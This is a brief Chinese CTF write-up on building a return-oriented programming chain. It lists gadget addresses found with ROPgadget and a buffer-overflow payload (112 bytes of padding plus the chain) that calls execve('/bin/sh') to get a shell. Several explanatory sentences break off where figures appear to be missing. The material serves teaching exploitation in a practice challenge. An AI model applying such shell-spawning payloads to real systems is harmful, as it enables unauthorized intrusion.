差點來不及
接續之前系統呼叫的流程,我們需要操控 register 的值,要操作就需要用的 gadgets,簡單來說 gadgets 就是一串最後有 ret 的指令,例如:
這時候如果 stack top 的值 3 我們只要跳到 080481c9,我們將 ebx 的值改為 3,接下來再往下執行到 ret 回到原本的位置。將這些 gadgets 串起來,就能達成我們所需要的 payload.
以這次的題目為例,我們要利用
execve("/bin/sh",NULL,NULL)
因此我們要將
要找到適合的 gadgets 可以透過 ropgadgets
我們透過此工具找到了這些:
0x080bb196 : pop eax ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x080be409 : bin/sh
0x08049421 : int 0x80
我們 payload 就會變這樣:
"A"*112 + 0x080bb196 + 0xb + 0x0806eb90 + 0 + 0 + 0x080be409 + 0x08049421
整個記憶體就會變這樣子:
執行後